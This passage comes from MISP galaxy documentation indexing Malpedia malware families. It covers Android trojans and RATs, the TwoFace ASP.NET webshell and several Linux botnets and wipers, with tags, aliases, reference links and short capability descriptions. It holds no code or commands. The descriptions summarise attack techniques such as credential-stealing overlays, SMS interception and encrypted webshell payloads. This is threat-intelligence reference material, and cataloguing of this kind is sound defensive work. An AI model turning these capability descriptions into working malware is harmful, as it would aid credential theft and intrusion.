The tag is: *misp-galaxy:malpedia="Rafel RAT"*

Rafel RAT is also known as:

Table 1066. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.rafelrat
https://github.com/swagkarna/Rafel-Rat

Rana

The tag is: *misp-galaxy:malpedia="Rana"*

Rana is also known as:

Table 1067. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.rana
https://blog.reversinglabs.com/blog/rana-android-malware

Raxir

The tag is: *misp-galaxy:malpedia="Raxir"*

Raxir is also known as:

Table 1068. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.raxir
https://twitter.com/PhysicalDrive0/statuses/798825019316916224

RedAlert2

RedAlert 2 is an new Android malware used by an attacker to gain access to login credentials of various e-banking apps. The malware works by overlaying a login screen with a fake display that sends the credentials to a C2 server. The malware also has the ability to block incoming calls from banks, to prevent the victim of being notified. As a distribution vector RedAlert 2 uses third-party app stores and imitates real Android apps like Viber, Whatsapp or fake Adobe Flash Player updates.

The tag is: *misp-galaxy:malpedia="RedAlert2"*

RedAlert2 is also known as:

Table 1069. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.redalert2
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/red-alert-2-0-android-trojan-spreads-via-third-party-app-stores
https://www.threatfabric.com/blogs/new_android_trojan_targeting_over_60_banks_and_social_apps.html

RemRAT

The tag is: *misp-galaxy:malpedia="RemRAT"*

RemRAT is also known as:

Table 1070. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.remrat
https://blogs.360.cn/post/analysis-of-RemRAT.html

Retefe (Android)

The Android app using for Retefe is a SMS stealer, used to forward mTAN codes to the threat actor. Further is a bank logo added to the specific Android app to trick users into thinking this is a legitimate app. Moreover, if the victim is not a real victim, the link to download the APK is not the malicious APK, but the real 'Signal Private Messenger' tool, hence the victim’s phone doesn’t get infected.

The tag is: *misp-galaxy:malpedia="Retefe (Android)"*

Retefe (Android) is also known as:

Table 1071. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/apk.retefe
http://blog.angelalonso.es/2015/10/reversing-c2c-http-emmental.html
http://blog.dornea.nu/2014/07/07/disect-android-apks-like-a-pro-static-code-analysis/
http://blog.angelalonso.es/2017/02/hunting-retefe-with-splunk-some24.html
http://maldr0id.blogspot.ch/2014/09/android-malware-based-on-sms-encryption.html
https://www.govcert.admin.ch/blog/33/the-retefe-saga
http://blog.angelalonso.es/2015/11/reversing-sms-c-protocol-of-emmental.html

Revive

The tag is: *misp-galaxy:malpedia="Revive"*

Revive is also known as:

Table 1072. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.revive
https://www.cleafy.com/cleafy-labs/revive-from-spyware-to-android-banking-trojan

Riltok

The tag is: *misp-galaxy:malpedia="Riltok"*

Riltok is also known as:

Table 1073. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.riltok
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://securelist.com/mobile-banker-riltok/91374/

Roaming Mantis

The tag is: *misp-galaxy:malpedia="Roaming Mantis"*

Roaming Mantis is also known as:

Table 1074. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.roaming_mantis
https://securelist.com/roaming-mantis-reaches-europe/105596/

https://www.kashifali.ca/2021/05/05/roaming-mantis-amplifies-smishing-campaign-with-os-specific-android-malware/
https://hitcon.org/2019/CMT/slide-files/d2_s1_r1.pdf
https://securelist.com/roaming-mantis-part-v/96250/
https://securelist.com/roaming-mantis-uses-dns-hijacking-to-infect-android-smartphones/85178/
https://securelist.com/roaming-mantis-dabbles-in-mining-and-phishing-multilingually/85607/

Rogue

The tag is: *misp-galaxy:malpedia="Rogue"*

Rogue is also known as:

Table 1075. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.rogue
https://research.checkpoint.com/2021/going-rogue-a-mastermind-behind-android-malware-returns-with-a-new-rat/

Rootnik

The tag is: *misp-galaxy:malpedia="Rootnik"*

Rootnik is also known as:

Table 1076. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.rootnik
https://blog.fortinet.com/2017/01/26/deep-analysis-of-android-rootnik-malware-using-advanced-anti-debug-and-anti-hook-part-ii-analysis-of-the-scope-of-java
https://blog.fortinet.com/2017/01/24/deep-analysis-of-android-rootnik-malware-using-advanced-anti-debug-and-anti-hook-part-i-debugging-in-the-scope-of-native-layer

Sauron Locker

The tag is: *misp-galaxy:malpedia="Sauron Locker"*

Sauron Locker is also known as:

Table 1077. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.sauron_locker

https://twitter.com/LukasStefanko/status/1117795290155819008

SharkBot

The tag is: *misp-galaxy:malpedia="SharkBot"*

SharkBot is also known as:

Table 1078. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.sharkbot
https://muha2xmad.github.io/malware-analysis/sharkbot/
https://www.cleafy.com/cleafy-labs/sharkbot-a-new-generation-of-android-trojan-is-targeting-banks-in-europe
https://research.nccgroup.com/2022/03/03/sharkbot-a-new-generation-android-banking-trojan-being-distributed-on-google-play-store/
https://blog.fox-it.com/2022/09/02/sharkbot-is-back-in-google-play/
https://blog.fox-it.com/2022/03/03/sharkbot-a-new-generation-android-banking-trojan-being-distributed-on-google-play-store/
https://research.checkpoint.com/2022/google-is-on-guard-sharks-shall-not-pass/

SideWinder (Android)

The tag is: *misp-galaxy:malpedia="SideWinder (Android)"*

SideWinder (Android) is also known as:

Table 1079. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.sidewinder
https://ti.qianxin.com/blog/articles/analysis-of-malware-android-software-spread-by-sidewinder-using-google-play/

SilkBean

The tag is: *misp-galaxy:malpedia="SilkBean"*

SilkBean is also known as:

Table 1080. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.silkbean

https://www.lookout.com/documents/threat-reports/us/lookout-uyghur-malware-tr-us.pdf

Skygofree

The tag is: *misp-galaxy:malpedia="Skygofree"*

Skygofree is also known as:

Table 1081. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.skygofree
https://securelist.com/skygofree-following-in-the-footsteps-of-hackingteam/83603/

Slempo

The tag is: *misp-galaxy:malpedia="Slempo"*

Slempo is also known as:

- SlemBunk

Table 1082. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.slempo
https://www.fireeye.com/blog/threat-research/2015/12/slembunk_an_evolvin.html
https://www.pcworld.com/article/3035725/source-code-for-powerful-android-banking-malware-is-leaked.html

Slocker

The tag is: *misp-galaxy:malpedia="Slocker"*

Slocker is also known as:

Table 1083. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.slocker
https://labs.bitdefender.com/2020/05/android-slocker-variant-uses-coronavirus-scare-to-take-android-hostage/
https://blog.trendmicro.com/trendlabs-security-intelligence/slocker-mobile-ransomware-starts-mimicking-wannacry/

SmsAgent

The tag is: *misp-galaxy:malpedia="SmsAgent"*

SmsAgent is also known as:

Table 1084. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.smsagent
https://blog.alyac.co.kr/2128
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/moqhao-related-android-spyware-targeting-japan-and-korea-found-on-google-play/

SMSspy

The tag is: *misp-galaxy:malpedia="SMSspy"*

SMSspy is also known as:

Table 1085. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.smsspy

S.O.V.A.

The tag is: *misp-galaxy:malpedia="S.O.V.A."*

S.O.V.A. is also known as:

Table 1086. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.sova
https://www.threatfabric.com/blogs/sova-new-trojan-with-fowl-intentions.html
https://muha2xmad.github.io/malware-analysis/sova/
https://www.cleafy.com/cleafy-labs/sova-malware-is-back-and-is-evolving-rapidly
https://blog.cyble.com/2021/09/14/deep-dive-analysis-of-s-o-v-a-android-banking-trojan/

SpyBanker

The tag is: *misp-galaxy:malpedia="SpyBanker"*

SpyBanker is also known as:

Table 1087. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.spybanker
https://news.drweb.com/show/?i=11104&lng=en
http://www.welivesecurity.com/2017/02/23/released-android-malware-source-code-used-run-banking-botnet/

SpyC23

The tag is: *misp-galaxy:malpedia="SpyC23"*

SpyC23 is also known as:

Table 1088. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.spyc23
https://www.welivesecurity.com/2020/09/30/aptc23-group-evolves-its-android-spyware/

SpyMax

SpyMax is a popular Android surveillance tool. Its predecessor, SpyNote, was one of the most widely used spyware frameworks.

The tag is: *misp-galaxy:malpedia="SpyMax"*

SpyMax is also known as:

Table 1089. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.spymax
https://www.zscaler.com/blogs/research/android-spyware-targeting-tanzania-premier-league
https://www.stratosphereips.org/blog/2020/11/10/android-mischief-rats-dataset
https://twitter.com/malwrhunterteam/status/1250412485808717826

SpyNote

The tag is: *misp-galaxy:malpedia="SpyNote"*

SpyNote is also known as:

Table 1090. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/apk.spynote
https://www.civilsphereproject.org/blog/2021/9/21/capturing-and-detecting-androidtester-remote-access-trojan-with-the-emergency-vpn
https://ti.qianxin.com/blog/articles/Blade-hawk-The-activities-of-targeted-the-Middle-East-and-West-Asia-are-exposed/
https://labs.k7computing.com/index.php/spynote-an-android-snooper/
https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/
https://bulldogjob.pl/articles/1200-an-in-depth-analysis-of-spynote-remote-access-trojan
https://www.volexity.com/blog/2020/03/31/storm-cloud-unleashed-tibetan-community-focus-of-highly-targeted-fake-flash-campaign/
https://mp.weixin.qq.com/s/mstwBMkS0G3Et4GOji2mwA
https://about.fb.com/news/2021/04/taking-action-against-hackers-in-palestine/
https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.hcd1wvpsrgfr

StealthAgent

The tag is: *misp-galaxy:malpedia="StealthAgent"*

StealthAgent is also known as:

Table 1091. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.stealthagent
https://www.amnesty.org/download/Documents/ASA3383662018ENGLISH.PDF

Stealth Mango

The tag is: *misp-galaxy:malpedia="Stealth Mango"*

Stealth Mango is also known as:

Table 1092. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.stealthmango
https://www.lookout.com/blog/stealth-mango
https://www.lookout.com/info/stealth-mango-report-ty

Svpeng

The tag is: *misp-galaxy:malpedia="Svpeng"*

Svpeng is also known as:

Table 1093. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.svpeng
https://securelist.com/mobile-malware-evolution-2019/96280/
https://securelist.com/a-new-era-in-mobile-banking-trojans/79198/

Switcher

The tag is: *misp-galaxy:malpedia="Switcher"*

Switcher is also known as:

Table 1094. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.switcher
https://securelist.com/blog/mobile/76969/switcher-android-joins-the-attack-the-router-club/

TalentRAT

The tag is: *misp-galaxy:malpedia="TalentRAT"*

TalentRAT is also known as:

- Assassin RAT

Table 1095. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.talent_rat
https://twitter.com/LukasStefanko/status/1118066622512738304
https://www.secureworks.com/research/threat-profiles/platinum-terminal

TangleBot

The tag is: *misp-galaxy:malpedia="TangleBot"*

TangleBot is also known as:

Table 1096. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.tangle_bot

https://www.proofpoint.com/us/blog/threat-insight/mobile-malware-tanglebot-untangled

TeleRAT

The tag is: *misp-galaxy:malpedia="TeleRAT"*

TeleRAT is also known as:

Table 1097. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.telerat
https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/

TemptingCedar Spyware

The tag is: *misp-galaxy:malpedia="TemptingCedar Spyware"*

TemptingCedar Spyware is also known as:

Table 1098. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.tempting_cedar
https://blog.avast.com/avast-tracks-down-tempting-cedar-spyware

ThiefBot

The tag is: *misp-galaxy:malpedia="ThiefBot"*

ThiefBot is also known as:

Table 1099. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.thiefbot
https://business.xunison.com/thiefbot-a-new-android-banking-trojan-targeting-turkish-banking-users/

TianySpy

The tag is: *misp-galaxy:malpedia="TianySpy"*

TianySpy is also known as:

Table 1100. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.tianyspy
https://www.trendmicro.com/en_us/research/22/a/tianyspy-malware-uses-smishing-disguised-as-message-from-telco.html

TinyZ

The tag is: *misp-galaxy:malpedia="TinyZ"*

TinyZ is also known as:

- Catelites Android Bot
- MarsElite Android Bot

Table 1101. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.tinyz
http://blog.group-ib.com/cron

Titan

The tag is: *misp-galaxy:malpedia="Titan"*

Titan is also known as:

Table 1102. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.titan
https://www.alienvault.com/blogs/labs-research/delivery-keyboy
https://blog.lookout.com/titan-mobile-threat

Triada

The tag is: *misp-galaxy:malpedia="Triada"*

Triada is also known as:

Table 1103. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.triada
https://securelist.com/triada-trojan-in-whatsapp-mod/103679/

https://arstechnica.com/information-technology/2019/06/google-confirms-2017-supply-chain-attack-that-sneaked-backdoor-on-android-devices/
https://securelist.com/apkpure-android-app-store-infected/101845/
https://securelist.com/mobile-malware-evolution-2019/96280/
https://blog.checkpoint.com/2016/06/17/in-the-wild-mobile-malware-implements-new-features/
https://www.nowsecure.com/blog/2016/11/21/android-malware-analysis-radare-triada-trojan/
http://contagiominidump.blogspot.de/2016/07/android-triada-modular-trojan.html
https://securelist.com/attack-on-zygote-a-new-twist-in-the-evolution-of-mobile-threats/74032/
https://security.googleblog.com/2019/06/pha-family-highlights-triada.html
https://securelist.com/everyone-sees-not-what-they-want-to-see/74997/

Triout

Bitdefender described Triout as a Android spyware, which appears to act as a framework for building extensive surveillance capabilities into seemingly benign applications. Found bundled with a repackaged app, the spyware's surveillance capabilities involve hiding its presence on the device, recording phone calls, logging incoming text messages, recoding videos, taking pictures and collecting GPS coordinates, then broadcasting all of that to an attacker-controlled C&C (command and control) server.

The tag is: *misp-galaxy:malpedia="Triout"*

Triout is also known as:

Table 1104. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.triout

UltimaSMS

The tag is: *misp-galaxy:malpedia="UltimaSMS"*

UltimaSMS is also known as:

Table 1105. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.ultima_sms
https://blog.avast.com/premium-sms-scam-apps-on-play-store-avast

Unidentified APK 001

The tag is: *misp-galaxy:malpedia="Unidentified APK 001"*

Unidentified APK 001 is also known as:

Table 1106. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_001
https://www.welivesecurity.com/2017/02/14/new-android-trojan-mimics-user-clicks-download-dangerous-malware/

Unidentified APK 002

The tag is: *misp-galaxy:malpedia="Unidentified APK 002"*

Unidentified APK 002 is also known as:

Table 1107. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_002

Unidentified APK 004

According to Check Point Research, this is a RAT that is disguised as a set of dating apps like "GrixyApp", "ZatuApp", "Catch&See", including dedicated websites to conceal their malicious purpose.

The tag is: *misp-galaxy:malpedia="Unidentified APK 004"*

Unidentified APK 004 is also known as:

Table 1108. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_004
https://research.checkpoint.com/2020/hamas-android-malware-on-idf-soldiers-this-is-how-it-happened/

Unidentified APK 005

The tag is: *misp-galaxy:malpedia="Unidentified APK 005"*

Unidentified APK 005 is also known as:

Table 1109. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_005
https://blog.talosintelligence.com/2020/10/donot-firestarter.html

https://community.riskiq.com/article/6f60db72
https://s.tencent.com/research/report/951.html
https://cybleinc.com/2021/04/21/donot-team-apt-group-is-back-to-using-old-malicious-patterns/
https://blogs.360.cn/post/APT-C-35_target_at_armed_forces_in_Pakistan.html
https://twitter.com/voodoodahl1/status/1267571622732578816

Unidentified APK 006

Information stealer posing as a fake banking app, targeting Korean users.

The tag is: *misp-galaxy:malpedia="Unidentified APK 006"*

Unidentified APK 006 is also known as:

Table 1110. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_006
https://medium.com/@ThreatMiner/android-trojan-targeting-korean-demographic-using-github-for-c2-8219fc39f749
https://twitter.com/MsftSecIntel/status/1441524497924833282?s=20
https://twitter.com/ReBensk/status/1438027183490940931
https://blog.cyble.com/2021/09/17/sophisticated-spyware-posing-as-a-banking-application-to-target-korean-users/

Unidentified 007 (ARMAAN RAT)

According to Cyble, this is an Android application that pretends to be the legitimate application for the Army Mobile Aadhaar App Network (ARMAAN), intended to be used by Indian army personnel. The application was customized to include RAT functionality.

The tag is: *misp-galaxy:malpedia="Unidentified 007 (ARMAAN RAT)"*

Unidentified 007 (ARMAAN RAT) is also known as:

Table 1111. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_007
https://blog.cyble.com/2022/01/28/indian-army-personnel-face-remote-access-trojan-attacks/

Unidentified APK 008

Android malware distributed through fake shopping websites targeting Malaysian users, targeting banking information.

The tag is: *misp-galaxy:malpedia="Unidentified APK 008"*

Unidentified APK 008 is also known as:

Table 1112. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_008
https://www.welivesecurity.com/2022/04/06/fake-eshops-prowl-banking-credentials-android-malware/

VajraSpy

The tag is: *misp-galaxy:malpedia="VajraSpy"*

VajraSpy is also known as:

Table 1113. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.vajraspy
https://twitter.com/LukasStefanko/status/1509451238366236674
https://twitter.com/malwrhunterteam/status/1481312752782258176
https://mp.weixin.qq.com/s/B0ElRhbqLzs-wGQh79fTww

vamp

Related to the micropsia windows malware and also sometimes named micropsia.

The tag is: *misp-galaxy:malpedia="vamp"*

vamp is also known as:

- android.micropsia

Table 1114. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.vamp
https://unit42.paloaltonetworks.com/unit42-targeted-attacks-middle-east-using-kasperagent-micropsia/

Viper RAT

The tag is: *misp-galaxy:malpedia="Viper RAT"*

Viper RAT is also known as:

Table 1115. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.viper_rat
https://securelist.com/blog/incidents/77562/breaking-the-weakest-link-of-the-strongest-chain/
https://blog.lookout.com/blog/2017/02/16/viperrat-mobile-apt/
https://about.fb.com/wp-content/uploads/2021/04/Technical-threat-report-Arid-Viper-April-2021.pdf

Vultur

The tag is: *misp-galaxy:malpedia="Vultur"*

Vultur is also known as:

- Vulture

Table 1116. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.vultur
https://www.threatfabric.com/blogs/vultur-v-for-vnc.html
https://twitter.com/*icebre4ker*/status/1485651238175846400[https://twitter.com/*icebre4ker*/status/1485651238175846400]

WireX

The tag is: *misp-galaxy:malpedia="WireX"*

WireX is also known as:

Table 1117. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.wirex
https://krebsonsecurity.com/2017/08/tech-firms-team-up-to-take-down-wirex-android-ddos-botnet/
https://therecord.media/turkish-national-charged-for-ddos-attacks-with-the-wirex-botnet/
https://www.flashpoint-intel.com/blog/wirex-botnet-industry-collaboration/
https://www.justice.gov/usao-ndil/pr/federal-indictment-chicago-charges-turkish-national-directing-cyber-attack

WolfRAT

The tag is: *misp-galaxy:malpedia="WolfRAT"*

WolfRAT is also known as:

Table 1118. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.wolf_rat
https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html
https://blog.talosintelligence.com/2020/05/the-wolf-is-back.html

Wroba

According to Avira, this is a banking trojan targeting Japan.

The tag is: *misp-galaxy:malpedia="Wroba"*

Wroba is also known as:

Table 1119. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.wroba
https://securelist.com/roaming-mantis-reaches-europe/105596/
https://www.avira.com/en/blog/the-android-banking-trojan-wroba-shifts-attack-from-south-korea-to-target-users-in-japan

Xbot

The tag is: *misp-galaxy:malpedia="Xbot"*

Xbot is also known as:

Table 1120. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.xbot
https://researchcenter.paloaltonetworks.com/2016/02/new-android-trojan-xbot-phishes-credit-cards-and-bank-accounts-encrypts-devices-for-ransom/
https://blog.avast.com/2015/02/17/angry-android-hacker-hides-xbot-malware-in-popular-application-icons/

Xenomorph

The tag is: *misp-galaxy:malpedia="Xenomorph"*

Xenomorph is also known as:

Table 1121. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.xenomorph
https://www.threatfabric.com/blogs/xenomorph-a-newly-hatched-banking-trojan.html
https://cryptax.medium.com/unpacking-a-jsonpacker-packed-sample-4038e12119f5

xHelper

The tag is: *misp-galaxy:malpedia="xHelper"*

xHelper is also known as:

Table 1122. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.xhelper
https://securelist.com/unkillable-xhelper-and-a-trojan-matryoshka/96487/

XploitSPY

The tag is: *misp-galaxy:malpedia="XploitSPY"*

XploitSPY is also known as:

Table 1123. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.xploitspy
https://twitter.com/malwrhunterteam/status/1249768400806653952

XRat

The tag is: *misp-galaxy:malpedia="XRat"*

XRat is also known as:

Table 1124. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.xrat
https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_202_niwa-yanagishita_en.pdf
https://blog.lookout.com/xrat-mobile-threat

YellYouth

The tag is: *misp-galaxy:malpedia="YellYouth"*

YellYouth is also known as:

Table 1125. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.yellyouth
https://www.mulliner.org/blog/blosxom.cgi/security/yellyouth_android_malware.html

Zen

The tag is: *misp-galaxy:malpedia="Zen"*

Zen is also known as:

Table 1126. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.zen
https://security.googleblog.com/2019/01/pha-family-highlights-zen-and-its.html

ZooPark

The tag is: *misp-galaxy:malpedia="ZooPark"*

ZooPark is also known as:

Table 1127. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.zoopark
https://securelist.com/whos-who-in-the-zoo/85394
https://www.secureworks.com/research/threat-profiles/cobalt-juno
https://securelist.com/whos-who-in-the-zoo/85394/
https://securelist.com/apt-trends-report-q2-2019/91897/
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/05/03114450/ZooPark_for_public_final_edit.pdf

Ztorg

The tag is: *misp-galaxy:malpedia="Ztorg"*

Ztorg is also known as:

- Qysly

Table 1128. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.ztorg
https://blog.fortinet.com/2017/03/15/teardown-of-a-recent-variant-of-android-ztorg-part-1
http://blog.fortinet.com/2017/03/08/teardown-of-android-ztorg-part-2
https://securelist.com/ztorg-from-rooting-to-sms/78775/

TwoFace

According to Unit42, TwoFace is a two-staged (loader+payload) webshell, written in C# and meant to run on webservers with ASP.NET. The author of the initial loader webshell included legitimate and expected content that will be displayed if a visitor accesses the shell in a browser, likely to remain undetected. The code in the loader webshell includes obfuscated variable names and the embedded payload is encoded and encrypted. To interact with the loader webshell, the threat actor uses HTTP POST requests to the compromised server.

The secondary webshell, which we call the payload, is embedded within the loader in encrypted form and contains additional functionality that we will discuss in further detail. When the threat actor wants to interact with the remote server, they provide data that the loader will use to modify a decryption key embedded within the loader that will be in turn used to decrypt the embedded TwoFace payload. Commands supported by the payload are execution of programs, up-, download and deletion of files and capability to manipulate MAC timestamps.

The tag is: *misp-galaxy:malpedia="TwoFace"*

TwoFace is also known as:

- HighShell
- HyperShell
- Minion
- SEASHARPEE

Table 1129. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/asp.twoface
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1536345486.pdf
https://unit42.paloaltonetworks.com/unit42-oilrig-performs-tests-twoface-webshell/
https://web.archive.org/web/20200307113010/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947864.pdf
https://www.recordedfuture.com/full-spectrum-detections-five-popular-web-shells/

https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/
https://unit42.paloaltonetworks.com/atoms/evasive-serpens/
https://www.secureworks.com/research/threat-profiles/cobalt-gypsy
https://www.cyber.gov.au/sites/default/files/2020-06/ACSC-Advisory-2020-008-Copy-Paste-Compromises.pdf
https://www.youtube.com/watch?time_continue=1333&v=1CGAmjAV8nI
https://www.zdnet.com/article/source-code-of-iranian-cyber-espionage-tools-leaked-on-telegram/
https://drive.google.com/file/d/1oA4YSwXLxEF-EXJcrM76Bc4_7ZfBGYE4/view
https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae
https://www.youtube.com/watch?v=GjquFKa4afU
https://unit42.paloaltonetworks.com/unit42-twoface-webshell-persistent-access-point-lateral-movement/

Unidentified ASP 001 (Webshell)

The tag is: *misp-galaxy:malpedia="Unidentified ASP 001 (Webshell)"*

Unidentified ASP 001 (Webshell) is also known as:

Table 1130. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/asp.unidentified_001

Abcbot

The tag is: *misp-galaxy:malpedia="Abcbot"*

Abcbot is also known as:

Table 1131. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.abcbot
https://www.cadosecurity.com/the-continued-evolution-of-abcbot/
https://blog.netlab.360.com/abcbot_an_evolving_botnet_en/
https://www.lacework.com/blog/abc-botnet-attacks-on-the-rise/
https://www.cadosecurity.com/abcbot-an-evolution-of-xanthe/

ACBackdoor (ELF)

A Linux backdoor that was apparently ported to Windows. This entry represents the Linux version. This version appears to have been written first and the Windows version was ported later, without full functionality. The Linux version offers persistence as well as some process manipulation techniques, though both versions apparently offer the ability to access the command line and execute programs as well as self-update.

The tag is: *misp-galaxy:malpedia="ACBackdoor (ELF)"*

ACBackdoor (ELF) is also known as:

Table 1132. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.acbackdoor
https://www.bleepingcomputer.com/news/security/linux-windows-users-targeted-with-new-acbackdoor-malware/
https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf

AcidRain

A MIPS ELF binary with wiper functionality used against Viasat KA-SAT modems.

The tag is: *misp-galaxy:malpedia="AcidRain"*

AcidRain is also known as:

Table 1133. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.acidrain
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war
https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works
https://www.splunk.com/en_us/blog/security/threat-update-acidrain-wiper.html
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/
https://www.splunk.com/en_us/blog/security/strt-ta03-cpe-destructive-software.html
https://www.reversemode.com/2022/03/viasat-incident-from-speculation-to.html
https://www.bleepingcomputer.com/news/security/viasat-confirms-satellite-modems-were-wiped-with-acidrain-malware/
https://www.sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe/

https://cybersecuritynews.com/acidrain-wiper-malware/
https://www.techtimes.com/articles/273755/20220331/viasat-hit-russia-s-wiper-malware-called-acidrain-affecting-european.htm
https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat

AgeLocker

The tag is: *misp-galaxy:malpedia="AgeLocker"*

AgeLocker is also known as:

Table 1134. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.age_locker
https://therecord.media/qnap-warns-of-agelocker-ransomware-attacks-against-nas-devices/
https://twitter.com/IntezerLabs/status/1326880812344676352
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/

AirDropBot

AirDropBot is used to create a DDoS botnet. It spreads as a worm, currently targeting Linksys routers. Backdoor and other bot functionality is present in this family. Development seems to be ongoing.

The tag is: *misp-galaxy:malpedia="AirDropBot"*

AirDropBot is also known as:

- CloudBot

Table 1135. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.airdrop
https://blog.malwaremustdie.org/2019/09/mmd-0064-2019-linuxairdropbot.html

Aisuru

Honeypot-aware variant of Mirai.

The tag is: *misp-galaxy:malpedia="Aisuru"*

Aisuru is also known as:

Table 1136. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.aisuru
https://insights.oem.avira.com/new-mirai-variant-aisuru-detects-cowrie-opensource-honeypots/

AnchorDNS

The tag is: *misp-galaxy:malpedia="AnchorDNS"*

AnchorDNS is also known as:

Table 1137. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.anchor_dns
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/
